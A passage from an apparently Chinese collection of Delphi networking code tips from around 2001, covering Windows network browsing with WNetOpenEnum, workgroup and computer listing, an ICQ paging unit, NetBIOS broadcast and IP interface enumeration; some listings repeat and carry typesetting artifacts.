dwUsage := dwUsage or RESOURCEUSAGE_CONTAINER;

dwResult := WNetOpenEnum(dwScope, dwType, dwUsage, lpnr, hEnum);

if dwResult <> NO_ERROR then Exit;

     GetMem(nrArray, cbBuffer);
repeat
dwResultEnum := WNetEnumResource(hEnum, cEntries,
   nrArray, cbBuffer);
if dwResultEnum = NO_ERROR then
for i := 0 to cEntries-1 do
begin
NewItem := TNetworkItem.Create;
case nrArray[i].dwScope of
RESOURCE_CONNECTED:  NewItem.FScope := nsConnected;
RESOURCE_GLOBALNET:  NewItem.FScope := nsGlobal;
RESOURCE_REMEMBERED: NewItem.FScope := nsRemembered;
RESOURCE_CONTEXT:    NewItem.FScope := nsContext;

else
NewItem.FScope := nsGlobal;
end;
case nrArray[i].dwType of
RESOURCETYPE_ANY: NewItem.FResourceType := nrAny;
RESOURCETYPE_DISK: NewItem.FResourceType := nrDisk;
RESOURCETYPE_PRINT: NewItem.FResourceType := nrPrint;
else
NewItem.FResourceType := nrAny;
end;
case nrArray[i].dwDisplayType of
RESOURCEDISPLAYTYPE_GENERIC: NewItem.FDisplay := ndGeneric;
RESOURCEDISPLAYTYPE_DOMAIN: NewItem.FDisplay := ndDomain;

RESOURCEDISPLAYTYPE_SERVER: NewItem.FDisplay := ndServer;
RESOURCEDISPLAYTYPE_SHARE: NewItem.FDisplay := ndShare;
RESOURCEDISPLAYTYPE_FILE: NewItem.FDisplay := ndFile;
RESOURCEDISPLAYTYPE_GROUP: NewItem.FDisplay := ndGroup;
RESOURCEDISPLAYTYPE_NETWORK: NewItem.FDisplay := ndNetwork;
RESOURCEDISPLAYTYPE_ROOT: NewItem.FDisplay := ndRoot;
RESOURCEDISPLAYTYPE_SHAREADMIN: NewItem.FDisplay :=

ndShareAdmin;
RESOURCEDISPLAYTYPE_DIRECTORY: NewItem.FDisplay :=
ndDirectory;
RESOURCEDISPLAYTYPE_TREE: NewItem.FDisplay := ndTree;
RESOURCEDISPLAYTYPE_NDSCONTAINER: NewItem.FDisplay :=
ndNDSContainer;
else
NewItem.FDisplay := ndGeneric;
end;
NewItem.FUsage := [];
if nrArray[i].dwUsage and RESOURCEUSAGE_CONNECTABLE <> 0 then
Include(NewItem.FUsage, nuConnectable);
if nrArray[i].dwUsage and RESOURCEUSAGE_CONTAINER <> 0 then

   Include(NewItem.FUsage, nuContainer);
NewItem.FLocalName := StrPas(nrArray[i].lpLocalName);
NewItem.FRemoteName := StrPas(nrArray[i].lpRemoteName);
NewItem.FComment := StrPas(nrArray[i].lpComment);
NewItem.FProvider := StrPas(nrArray[i].lpProvider);
NetItems.Add(NewItem);
// if container, call recursively
if (nuContainer in
   NewItem.FUsage) and (FScope <> nsContext) then
EnumerateNet(NewItem.FSubItems, @nrArray[i])

end;
until dwResultEnum = ERROR_NO_MORE_ITEMS;

FreeMem(nrArray);
WNetCloseEnum(hEnum);
end;

procedure TNetworkBrowser.Refresh;
begin
FItems.Clear;
if FActive then
EnumerateNet(FItems, nil);
end;

procedure TNetworkBrowser.SetActive(Value: Boolean);
begin
if Value <> FActive then
begin
FActive := Value;
Refresh;
end;
end;

procedure TNetworkBrowser.SetScope(Value: TNetScope);
begin
if Value <> FScope then
begin
FScope := Value;
Refresh;
end;
end;

procedure TNetworkBrowser.SetResourceType(Value: TNetResourceType);
begin
if Value <> FResourceType then
begin
FResourceType := Value;
Refresh;
end;
end;

procedure TNetworkBrowser.SetUsage(Value: TNetUsage);
begin
if Value <> FUsage then
begin
FUsage := Value;
Refresh;
end;
end;

procedure TNetworkBrowser.Open;
begin
Active := True;
end;

procedure TNetworkBrowser.Close;
begin
Active := False;
end;

end.

unit FindComp;

interface

uses

Windows, Classes;

function FindComputers: DWORD;

var

Computers: TStringList;

implementation

uses

SysUtils;

const

MaxEntries = 250;

function FindComputers: DWORD;

var

EnumWorkGroupHandle, EnumComputerHandle: THandle;

EnumError: DWORD;

Network: TNetResource;

WorkGroupEntries, ComputerEntries: DWORD;

EnumWorkGroupBuffer, EnumComputerBuffer: array[1..MaxEntries] of TNetResource;

EnumBufferLength: DWORD;

I, J: DWORD;

begin

Computers.Clear;

FillChar(Network, SizeOf(Network), 0);

with Network do

begin

dwScope := RESOURCE_GLOBALNET;

dwType := RESOURCETYPE_ANY;

dwUsage := RESOURCEUSAGE_CONTAINER;

end;

EnumError := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, @Network, EnumWorkGroupHandle);

if EnumError = NO_ERROR then

begin

WorkGroupEntries := MaxEntries;

EnumBufferLength := SizeOf(EnumWorkGroupBuffer);

EnumError := WNetEnumResource(EnumWorkGroupHandle, WorkGroupEntries, @EnumWorkGroupBuffer, EnumBufferLength);

if EnumError = NO_ERROR then

begin

for I := 1 to WorkGroupEntries do

begin

EnumError := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, @EnumWorkGroupBuffer[I], EnumComputerHandle);

if EnumError = NO_ERROR then

begin

ComputerEntries := MaxEntries;

EnumBufferLength := SizeOf(EnumComputerBuffer);

EnumError := WNetEnumResource(EnumComputerHandle, ComputerEntries, @EnumComputerBuffer, EnumBufferLength);

if EnumError = NO_ERROR then

for J := 1 to ComputerEntries do

Computers.Add(Copy(EnumComputerBuffer[J].lpRemoteName, 3, Length(EnumComputerBuffer[J].lpRemoteName) - 2));

WNetCloseEnum(EnumComputerHandle);

end;

end;

end;

WNetCloseEnum(EnumWorkGroupHandle);

end;

if EnumError = ERROR_NO_MORE_ITEMS then

EnumError := NO_ERROR;

Result := EnumError;

end;

initialization

Computers := TStringList.Create;

finalization

Computers.Free;

end.


发送ICQ通知

{下面的代码不能解析 wwp.mirabilis.com 的主机名,它直接使用对应的 IP。
（译者注：其实这只要用 HostByName 函数就可以解决。）}
unit unitICQPage;

interface

uses
Windows, Classes, SysUtils, Winsock;

Function ICQPage(dwUIN: DWORD; szFrom, szFromEmail, szSubject, szMsg: String): Integer;

implementation

Function ICQPage(dwUIN: DWORD; szFrom, szFromEmail, szSubject, szMsg: String): Integer;
{This procedure sends an ICQ page.
It uses a raw winsock interface to do this

Return values:
0 = success
1 = WSA Error (WSAGetLastError)
}
Const
ERR_SUCCESS = 0;
ERR_WSA = 1;
Var
MyWSA: WSAData;
SIN: TSockAddr;
hSocket: TSocket;
sRequest: String;
Begin

If WSAStartup(MakeWord(1,1), MyWSA) <> 0 Then Begin
//There's nothing to do, it failed!
ICQPage := ERR_WSA; //ERROR CODE
WSACleanup;
Exit;
end;

hSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
If hSocket = INVALID_SOCKET Then Begin
//Unable to create socket :(
ICQPage := ERR_WSA;
WSACleanup;
Exit;
End;

{Setup "target" information}
SIN.sin_family := AF_INET;
SIN.sin_port := htons(80); //Port 80 is default HTTP (And ofcource the one mirabilis use}
{NOTE: The hostname wwp.mirabilis.com should be resolved in code}
// SIN.sin_addr.S_addr := inet_addr(PChar('127.0.0.1'));
SIN.sin_addr.S_addr := inet_addr(PChar('205.188.252.120'));

If connect(hSocket, SIN, SizeOf(SIN)) = SOCKET_ERROR Then Begin
//Error while connecting...
{Hmm, Now the program should attempt to resolve the hostname wwp.mirabilis.com
and attempt to reconnect to that IP
But since I do not know how to resolve hostnames:}
ICQPage := ERR_WSA;
CloseSocket(hSocket);
WSACleanup;
Exit;
end;

//The socket has connected!
Sleep(30); //dunno, I just feel like it ;-)

sRequest := 'from='+szFrom+'&'+
'fromemail='+szFromEmail+'&'+
'subject='+szSubject+'&'+
'body='+szMsg+'&'+
'to='+IntToStr(dwUIN)+
'&Send=Send+Message';

sRequest := 'POST /scripts/WWPMsg.dll HTTP/1.1'+#13#10+
'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, */*'+#13#10+
'Accept-Language: en'+#13#10+
'Content-Type: application/x-www-form-urlencoded'+#13#10+
'Accept-Encoding: gzip, deflate'+#13#10+
'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)'+#13#10+
'Host: 127.0.0.1'+#13#10+
'Content-Length: '+IntToStr(Length(sRequest))+#13#10+
'Connection: Keep-Alive'+#13#10+
''+#13#10+
sRequest;

If Send(hSocket, sRequest[1], Length(sRequest), 0) = SOCKET_ERROR Then Begin
//unable to send
ICQPage := ERR_WSA;
CloseSocket(hSocket);
WSACleanup;
Exit;
End;

//Page sent!

CloseSocket(hSocket);
WSACleanup;
ICQPage := ERR_SUCCESS;
end; //ICQPage

end.


统计局域网里的工作组数目

摘　要：统计局域网里的工作组数目
关键字：局域网 工作组 网络
类　别：API
var
WorkgroupCount : Integer;
Workgroup: Array[1..500] of String[25];

Procedure FindAllWorkgroups;
Var
EnumHandle: THandle;
EntireNetwork: TNetResource;
Buf: Array[1..500] of TNetResource;
BufSize: Integer; // 或DWORD;
Entries: Integer; // 或DWORD;

begin
FillChar(EntireNetwork, SizeOf(EntireNetwork) , 0);
With EntireNetwork do begin
dwScope := 2;
dwDisplayType := 6;
dwUsage := 2;
end;

WNetOpenEnum( RESOURCE_GLOBALNET,
RESOURCETYPE_ANY,
0,
@EntireNetwork,
EnumHandle );

WorkgroupCount := 0;
Repeat
Entries := 1;
BufSize := SizeOf(Buf);

WNetEnumResource( EnumHandle,
Entries,
@Buf,
BufSize );
If Entries = 1 then begin
Inc( WorkgroupCount );
Workgroup[ WorkgroupCount ] := StrPas(Buf[1].lpRemoteName);
end;
Until (Entries <> 1);

WNetCloseEnum( EnumHandle );
end;

投稿人：codelphi.com　投稿日期：2001-4-22 11:39:00


取得LAN上的所有的登录用户名称

 unit fwqxz_s;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, Buttons;

type
Tfwqxz = class(TForm)
Panel1: TPanel;
UserList: TListBox;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
procedure FormShow(Sender: TObject);
Function GetServerList( var List : TStringList ) : Boolean;
Function GetUsers( GroupName : string; var List : TStringList ) : Boolean;
procedure BitBtn1Click(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
fwqxz: Tfwqxz;

implementation

uses main_s;

{$R *.DFM}

procedure Tfwqxz.FormShow(Sender: TObject);
var list1,list2:TStringList;
i,j:Integer;
begin
i:=1;
list1:= TStringList.Create;
list2:= TStringList.Create;
if GetServerList(list1) then
begin
showmessage('执行成功');
for i:=0 to list1.Count-1 do
begin
if getusers(list1.Strings[i],list2) then
begin
for j:=0 to list2.Count-1 do
UserList.Items.Add(list2.Strings[j]);
end;
end;
end;
list1.Destroy;
list2.Destroy;
end;

Function Tfwqxz.GetServerList( var List : TStringList ) : Boolean;
type
TNetResourceArray = ^TNetResource;//网络类型的数组
Var
NetResource : TNetResource;
Buf : Pointer;
Count,BufSize,Res : DWORD;
lphEnum : THandle;
p : TNetResourceArray;
i,j : SmallInt;
NetworkTypeList : TList;
Begin
Result := False;
NetworkTypeList := TList.Create;
List.Clear;
//获取整个网络中的文件资源的句柄，lphEnum为返回名柄
Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER, Nil,lphEnum);
If Res <> NO_ERROR Then exit;//Raise Exception(Res);//执行失败
//获取整个网络中的网络类型信息
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存，用于获取工作组信息
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
If ( Res = ERROR_NO_MORE_ITEMS )//资源列举完毕
or (Res <> NO_ERROR )//执行失败
Then Exit;
P := TNetResourceArray(Buf);
For I := 0 To Count - 1 Do//记录各个网络类型的信息
Begin
NetworkTypeList.Add(p);
Inc(P);
End;
//WNetCloseEnum关闭一个列举句柄
Res := WNetCloseEnum(lphEnum);//关闭一次列举
If Res <> NO_ERROR Then exit;
For J := 0 To NetworkTypeList.Count-1 Do //列出各个网络类型中的所有工作组名称
Begin//列出一个网络类型中的所有工作组名称
NetResource := TNetResource(NetworkTypeList.Items[J]^);//网络类型信息
//获取某个网络类型的文件资源的句柄，NetResource为网络类型信息，lphEnum为返回名柄
Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);
If Res <> NO_ERROR Then break;//执行失败
While true Do//列举一个网络类型的所有工作组的信息
Begin
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存，用于获取工作组信息
//获取一个网络类型的文件资源信息，
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
If ( Res = ERROR_NO_MORE_ITEMS ) //资源列举完毕
or (Res <> NO_ERROR) //执行失败
then break;
P := TNetResourceArray(Buf);
For I := 0 To Count - 1 Do//列举各个工作组的信息
Begin
List.Add( StrPAS( P^.lpRemoteName ));//取得一个工作组的名称
Inc(P);
End;
End;
Res := WNetCloseEnum(lphEnum);//关闭一次列举
If Res <> NO_ERROR Then break;//执行失败
End;
Result := True;
FreeMem(Buf);
NetworkTypeList.Destroy;
End;

Function Tfwqxz.GetUsers( GroupName : string; var List : TStringList ) : Boolean;
type
TNetResourceArray = ^TNetResource;//网络类型的数组
Var
NetResource : TNetResource;
Buf : Pointer;
Count,BufSize,Res : DWord;
Ind : Integer;
lphEnum : THandle;
Temp : TNetResourceArray;
Begin
Result := False;
List.Clear;
FillChar(NetResource, SizeOf(NetResource), 0);//初始化网络层次信息
NetResource.lpRemoteName := @GroupName[1];//指定工作组名称
NetResource.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;//类型为服务器（工作组）
NetResource.dwUsage := RESOURCEUSAGE_CONTAINER;
NetResource.dwScope := RESOURCETYPE_DISK;//列举文件资源信息
//获取指定工作组的网络资源句柄
Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);
If Res <> NO_ERROR Then Exit; //执行失败
While True Do//列举指定工作组的网络资源
Begin
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存，用于获取工作组信息
//获取计算机名称
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
If Res = ERROR_NO_MORE_ITEMS Then break;//资源列举完毕
If (Res <> NO_ERROR) then Exit;//执行失败
Temp := TNetResourceArray(Buf);
For Ind := 0 to Count - 1 do//列举工作组的计算机名称
Begin
//获取工作组的计算机名称，+2表示删除"\\"，如\\wangfajun=>wangfajun
List.Add(Temp^.lpRemoteName + 2);
Inc(Temp);
End;
End;
Res := WNetCloseEnum(lphEnum);//关闭一次列举
If Res <> NO_ERROR Then exit;//执行失败
Result := True;
FreeMem(Buf);
End;

procedure Tfwqxz.BitBtn1Click(Sender: TObject);
begin
main.Edit1.Text:=UserList.Items.Strings[UserList.itemIndex];
fwqxz.Close;
end;

procedure Tfwqxz.BitBtn2Click(Sender: TObject);
begin
fwqxz.Close;
end;

procedure Tfwqxz.FormCreate(Sender: TObject);
var list1,list2:TStringList;
i,j:Integer;
begin
i:=1;
list1:= TStringList.Create;
list2:= TStringList.Create;
if GetServerList(list1) then
begin
for i:=0 to list1.Count-1 do
begin
if getusers(list1.Strings[i],list2) then
begin
for j:=0 to list2.Count-1 do
UserList.Items.Add(list2.Strings[j]);
end;
end;
end;
list1.Destroy;
list2.Destroy;
end;

end.
投稿人：zhenghj　投稿日期：2001-6-22 10:16:00


实现UDP广播

Delphi实现UDP广播
ywfirefly

摘　要：Delphi实现UDP广播
关键字：UDP，广播，NetBIOS
类　别：网络

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

NetBIOS网络协议对于很多读者来说可能比较陌生，但其实它是由IBM开发的一个很古老的协议，当年在LAN上也风光一时。说它老，其实也不过10年光景，IT业的发展实在是太快。由于NetBIOS不具备路由功能，也就是说它的数据包无法跨网段传输，因此在广域网、城域网大行其道的今天，它已退居配角。如果你有心的话，能够发现在Window95/98的网络协议中仍然保留着NetBIOS，不过它已经改名叫NetBEUI(NetBIOS扩展用户接口)，是NetBIOS的Microsoft改进版。另外在TCP/IP以及IPX/SPX协议中，也依然保留了对NetBIOS的支持，只要查看网络协议属性中的高级，就能看到启用NetBIOS的选项。
    之所以这样是有原因的。NetBIOS协议短小精悍，非常适用于小型局域网，特别是一些对实时性要求较高的网络环境。NetBIOS的广播功能由于有开发使用方便、系统开销小的优点，所以在很多场合仍然被大量使用。笔者由于工作需要，在一个航天测控软件的编制中就使用了NetBIOS 广播功能。
    我原以为这是件很简单的工作，因为WIN32API中提供了一个 Netbios函数，里面封装了所有函数和数据结构，用起来很方便，在BC和VC下都如此。可是由于这次是使用流行的Delphi作编译器，却遇到了意想不到的麻烦:号称全面移植WIN32API的Delphi中偏偏没有Netbios函数!这下顿时让我方寸大乱。怎么办?总不能从底层干起吧?而且时间也不允许。在冷静下来之后，我忽然想到，既然WIN95支持NetBIOS，那么系统就一定会提供DLL支持，编译器本身是没有底层支持的。于是我在机器中搜索，果然，在SYSTEM目录下有一个Netbios.dll，用快速查看将其打开，在导出表部分显示如下:
    导出表:
    序数 入口 名称
    0000 00001a37 NetbiosAddthd
    0001 000019eb NetbiosDelete
    0002 00001a96 NetbiosDelthd
    0003 000019b1 NetbiosInitialize
    0004 0000186b PostRoutineCaller
    0005 0000102e _Netbios
    注意到那个0005号_Netbios导出函数了吗?那就是我需要的!经过紧张的试验调试，证明它和WIN32API手册上的Netbios完全一样。剩下的工作就比较简单了，定义一个NCB(Netbios控制块)记录，将NCB数据结构封装在里面;声明一个后处理例程以及消息处理过程，以完成广播数据的接收和发送。有关NCB数据结构的详细内容以及NetBIOS广播的原理，限于篇幅我就省略了。需要的朋友可以查看BC或VC的Help或相关书籍。下面是有关的Delphi源代码。
    /////////Netbios单元///////////
    unit netbios;
    interface
    uses windows，messages，Forms，SysUtils;
    type
    {＄X＋}{＄A＋}
     //声明一个NCB记录指针。
     PNCB=^NCB;
    //声明一个后处理例程的过程类型。
     POST=procedure(var ncbR:PNCB);
      //以下是NCB记录，教训1:将上面的编译选项置为{＄A＋}以
取消数据对齐。
如果在广播中有浮点数的话，数据对齐会让你大吃苦头!我已经有过
惨痛教训!:(
     NCB=record
     ncb_command:UCHAR;
     ncb_retcode:UCHAR;
     ncb_lsn:UCHAR;
     ncb_num:UCHAR;
     ncb_buffer:PCHAR;
     ncb_length:WORD;
     ncb_callname:array [1..16] of UCHAR;
     ncb_name:array [1..16] of UCHAR;
     ncb_rto:UCHAR;
     ncb_sto:UCHAR;
     ncb_post:POST;
     ncb_lana_num:UCHAR;
     ncb_cmd_cplt:UCHAR;
     ncb_reserve:array [1..10] of UCHAR;
     ncb_event:HANDLE;
     end;
    //声明自己的Netbios函数。教训2:一定要使用pascal调用规范
    function NetbiosSR(ncbX:PNCB):UCHAR;pascal;
    //初始化NCB。
    procedure InitNCB(var ncbY:PNCB);
    //后处理例程，注意使用远指针。
    procedure postrout(var ncbR:PNCB);stdcall;far;
    var
     char_buffer:array[0..511]of UCHAR;
     int_buffer:array[1..512]of Byte;
    implementation
     //调用系统的Netbios。dll中的Netbios函数标号是6。Delphi 搜索外部文件的顺序是当前目录→系统目录→其他目录，别忘了保证存在Netbios.dll。
     function NetbiosSR(ncbX:PNCB):UCHAR;external
‘netbios' index 6;
     procedure InitNCB(var ncbY:PNCB);
     var
     x:integer;
     begin
     ncbY.ncb_command:=0;
     ncbY.ncb_retcode:=0;
     ncbY.ncb_lsn:=0;
     ncbY.ncb_num:=0;
     ncbY.ncb_length:=512; //数据缓冲长度，最大512B。
     for x:=1 to 16 do
     begin
     ncbY.ncb_callname[x]:=0;
     ncbY.ncb_name[x]:=0;
     end;
     ncbY.ncb_rto:=0;
     ncbY.ncb_sto:=0;
     ncbY.ncb_lana_num:=0;
     ncbY.ncb_cmd_cplt:=0;
     for x:=1 to 10 do
     ncbY.ncb_reserve[x]:=0;
     ncbY.ncb_event:=0;
     end;
    //后处理例程的作用是当接收到广播消息时，立即向相应窗口发送消息。我在这里偷了点懒，以广播方式发送一个定时器消息。如果你愿意可以向指定窗口发送自定义消息，这样要复杂一些。首先，要把指定窗口的句柄传递给后处理例程。通常这是做不到的，但可以利用一些技巧做到。在NCB记录后面紧挨着声明一个句柄类型，然后把指定窗口的句柄赋值给它的实例变量;这样句柄变量的地址与NCB是连续的。在后处理中通过指针或汇编语句将ncbR的地址移到最后一个字节＋1，就是窗口句柄的起始地址。明白吗?至于自定义消息，需要重新编译连接库，
限于篇幅我就不罗嗦了，有兴趣的可以自己尝试。
     procedure postrout(var ncbR:PNCB);
    begin
    sendMessage(wnd_BROADCAST，WM_TIMER，0，0);
     end;
    end.
    ////////窗口单元//////////
    unit broadcast;
    interface
    uses
     Windows，Messages，SysUtils，Classes，Graphics，
Controls，Forms，Dialogs，
     netbios;
    type
     Tmain=class(TForm)
     private
     {Private declarations}
     //消息处理过程，注意消息宏要与后处理中的一致。
     procedure post_main(var Message:TMessage);message
WM_TIMER;
     public
     {Public declarations}
     end;
    var
     main: Tmain;
     ncbname:UCHAR;
     ncbRock:PNCB;
     post_add:POST;
    implementation
    {＄R ＊.DFM}{＄A－}{＄I－}
    /////////主窗口建立过程/////////
    procedure Tmain.FormCreate(Sender: TObject);
    var
     ret:UCHAR;
     i，x，y:integer;
     p:single;
    begin
     new(ncbRock);
     randomize();i:=0;
     FillChar(char_buffer，sizeof(char_
    buffer)，0);
     post_add:=@postrout;
     //取后处理例程的地址。
     ncbRock.ncb_buffer:=@char_buf
    fer; //取数据缓冲区的地址。
     InitNCB(ncbRock);
     ret:=9;
     ncbname:=random(100);
     ncbRock.ncb_name[1]:=ncbna
    me;
     ncbRock.ncb_command:=＄30;
     //加名，ret为0加名成功。
     while ((i<10)and(ret<>0)) do
     begin
     ret:=netbiosSR(ncbRock);
     i:=i＋1;
     end;
     if ret<>0 then
     begin
     for i:=1 to 20 do
     messagebeep(－1);
     MessageDlg(‘网络通信无法实现！您需要关闭程序重新运行.
'，mtWarning，
     [mbOk]，0);
     end
     else if ret=0 then
     begin
     ncbRock.ncb_post:=post_add;
     ncbRock.ncb_command:=＄a3; //异步接收方式字。
     ncbRock.ncb_event:=0;
     ncbRock.ncb_length:=512;
     ret:=netbiosSR(ncbRock);
     end;
    end;
    ///////////广播消息处理过程/////
    procedure Tmain.post_main(var Message:TMessage);
    var
    x:integer;
    ret:UCHAR;
    begin
     //取出数据缓冲区的内容
     for x:=0 to 511 do
     int_buffer[x＋1]:=char_buffer[x];
     ////以下可以进行数据处理////
     //重新打开异步接受。
     ncbRock.ncb_post:=post_add;
     ncbRock.ncb_command:=＄a3;
     ncbRock.ncb_event:=0;
     ncbRock.ncb_length:=512;
     ret:=netbiosSR(ncbRock);
    end;
    end.
投稿人：大鱼儿　投稿日期：2001-6-22 16:52:00


查找所有工作组内计算机

var

Computer : Array[1..500] of String[25];

ComputerCount : Integer;

procedure FindAllComputers(Workgroup : String);

Var

EnumHandle : THandle;

WorkgroupRS : TNetResource;

Buf : Array[1..500] of TNetResource;

BufSize : Integer;

Entries : Integer;

Result : Integer;

begin

ComputerCount := 0;

Workgroup := Workgroup + #0;

FillChar(WorkgroupRS, SizeOf(WorkgroupRS) , 0);

With WorkgroupRS do begin

dwScope := 2;

dwType := 3;

dwDisplayType := 1;

dwUsage := 2;

lpRemoteName := @Workgroup[1];

end;

WNetOpenEnum( RESOURCE_GLOBALNET,

RESOURCETYPE_ANY,

0,

@WorkgroupRS,

EnumHandle );

Repeat

Entries := 1;

BufSize := SizeOf(Buf);

Result :=

WNetEnumResource( EnumHandle,

Entries,

@Buf,

BufSize );

If (Result = NO_ERROR) and (Entries = 1) then begin

Inc( ComputerCount );

Computer[ ComputerCount ] := StrPas(Buf[1].lpRemoteName);

end;

Until (Entries <> 1) or (Result <> NO_ERROR);

WNetCloseEnum( EnumHandle );

end; { Find All Computers }


查找所有网络计算机

调用FindComputers，返回WinAPI错误代码（如果有的话）。这个函数将会在TStringList类型的Computers对象中填入计算机名称。

以下代码是在Delphi5上开发的，但是应该是向后兼容的。

Answer:

unit FindComp;

interface

uses

Windows, Classes;

function FindComputers: DWORD;

var

Computers: TStringList;

implementation

uses

SysUtils;

const

MaxEntries = 250;

function FindComputers: DWORD;

var

EnumWorkGroupHandle, EnumComputerHandle: THandle;

EnumError: DWORD;

Network: TNetResource;

WorkGroupEntries, ComputerEntries: DWORD;

EnumWorkGroupBuffer, EnumComputerBuffer: array[1..MaxEntries] of TNetResource;

EnumBufferLength: DWORD;

I, J: DWORD;

begin

Computers.Clear;

FillChar(Network, SizeOf(Network), 0);

with Network do

begin

dwScope := RESOURCE_GLOBALNET;

dwType := RESOURCETYPE_ANY;

dwUsage := RESOURCEUSAGE_CONTAINER;

end;

EnumError := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, @Network, EnumWorkGroupHandle);

if EnumError = NO_ERROR then

begin

WorkGroupEntries := MaxEntries;

EnumBufferLength := SizeOf(EnumWorkGroupBuffer);

EnumError := WNetEnumResource(EnumWorkGroupHandle, WorkGroupEntries, @EnumWorkGroupBuffer, EnumBufferLength);

if EnumError = NO_ERROR then

begin

for I := 1 to WorkGroupEntries do

begin

EnumError := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, @EnumWorkGroupBuffer[I], EnumComputerHandle);

if EnumError = NO_ERROR then

begin

ComputerEntries := MaxEntries;

EnumBufferLength := SizeOf(EnumComputerBuffer);

EnumError := WNetEnumResource(EnumComputerHandle, ComputerEntries, @EnumComputerBuffer, EnumBufferLength);

if EnumError = NO_ERROR then

for J := 1 to ComputerEntries do

Computers.Add(Copy(EnumComputerBuffer[J].lpRemoteName, 3, Length(EnumComputerBuffer[J].lpRemoteName) - 2));

WNetCloseEnum(EnumComputerHandle);

end;

end;

end;

WNetCloseEnum(EnumWorkGroupHandle);

end;

if EnumError = ERROR_NO_MORE_ITEMS then

EnumError := NO_ERROR;

Result := EnumError;

end;

initialization

Computers := TStringList.Create;

finalization

Computers.Free;

end.


将一个6字节IP地址转换为4字节IP地址和端口号

一些旧的Internet协议（如FTP）发送IP地址的端口号时使用一种6字节的格式，形如：XXX.XXX.XXX.XXX.XX.XXX。要将这种6字节地址转换为4段地址的端口号，你可以使用以下代码：

Procedure LongIPToShort(aLongIPAddress : String; Out ShortIPAddress : String; out PortNumber : Integer);

var I, DotPos, tempPort : Integer;

var tempAddy, temp : String;

var TempStr : String;

begin

tempAddy := '';

tempStr := '';

//Determine if the sender of the long IP is using , or . as the

// Delimator

if (POS(',', aLongIPAddress) <> 0) then TempStr := ','

else TempStr := '.';

For I := 1 to 4 do

begin

DotPOS := POS(TempStr, aLongIPAddress);

tempAddy := tempAddy + (Copy(aLongIPAddress, 1, (DotPos - 1)));

If I <> 4 then TempADdy := TempAddy + '.';

Delete(aLongIpAddress, 1, DotPos);

end;

DotPos := Pos(TempStr, aLongIpAddress);

temp := Copy(aLongIpAddress, 1, (DotPos - 1));

tempPort := (StrToInt(temp) * 256);

Delete(aLongIpAddress, 1, DotPos);

TempPort := tempPort + StrToInt(ALongIpAddress);

ShortIPAddress := TempADdy;

PortNumber := tempPort;

end;


获取IP地址以及全部TCPIP连接的掩码

问题提出/摘要:

我们有很多种方法获取一台计算机的IP地址，但这里才是“正确”的方法：列出所有的地址、网络掩码、广播地址和连接状态等，包括环回点 127.0.0.1。需要使用到WinSock2。

回答:

这是一个完整的Delphi单元，将它加入到你的工程中，你可以调用：

EnumInterfaces(var s string): Boolean;

来返回所有IP地址、网络掩码、广播地址和连接状态。

--------------------------------------------------------------------

unit USock;

interface

uses Windows, Winsock;

{

此函数列举出所有的TCP/IP连接，并返回一个由回车换行(CRLF)符分隔的字符串，包含以下信息：

IP, NetMask, BroadCast-Address, Up/Down status,

Broadcast support, Loopback

如果你将这个字符串赋给TMemo(它的Memo.Lines.Text属性)，你可以看到更清晰的结果。

使用此函数，你需要Win98/ME/2K, 95 OSR 2 或者NT service pack #3，因为程序会使用到WinSock 2(WS2_32.DLL)。

}

function EnumInterfaces(var sInt: string): Boolean;

{ 从Winsock 2.0导入函数WSAIOCtl -- 在Win98/ME/2K and 95 OSR2, NT srv pack #3下才有Winsock 2 }

function WSAIoctl(s: TSocket; cmd: DWORD; lpInBuffer: PCHAR; dwInBufferLen:

DWORD;

lpOutBuffer: PCHAR; dwOutBufferLen: DWORD;

lpdwOutBytesReturned: LPDWORD;

lpOverLapped: POINTER;

lpOverLappedRoutine: POINTER): Integer; stdcall; external 'WS2_32.DLL';

{ Constants taken from C header files }

const SIO_GET_INTERFACE_LIST = $4004747F;

IFF_UP = $00000001;

IFF_BROADCAST = $00000002;

IFF_LOOPBACK = $00000004;

IFF_POINTTOPOINT = $00000008;

IFF_MULTICAST = $00000010;

type sockaddr_gen = packed record

AddressIn: sockaddr_in;

filler: packed array[0..7] of char;

end;

type INTERFACE_INFO = packed record

iiFlags: u_long; // Interface flags

iiAddress: sockaddr_gen; // Interface address

iiBroadcastAddress: sockaddr_gen; // Broadcast address

iiNetmask: sockaddr_gen; // Network mask

end;

implementation

{-------------------------------------------------------------------

1. 打开Winsock

2. 创建一个socket

3. 调用WSAIOCtl获取网络连接

4. 对每个连接，获取它的IP、掩码、广播地址、状态

5. 将信息填充到一个由CDLF分隔的字符串中

6. 结束

--------------------------------------------------------------------}

function EnumInterfaces(var sInt: string): Boolean;

var s: TSocket;

wsaD: WSADATA;

NumInterfaces: Integer;

BytesReturned, SetFlags: u_long;

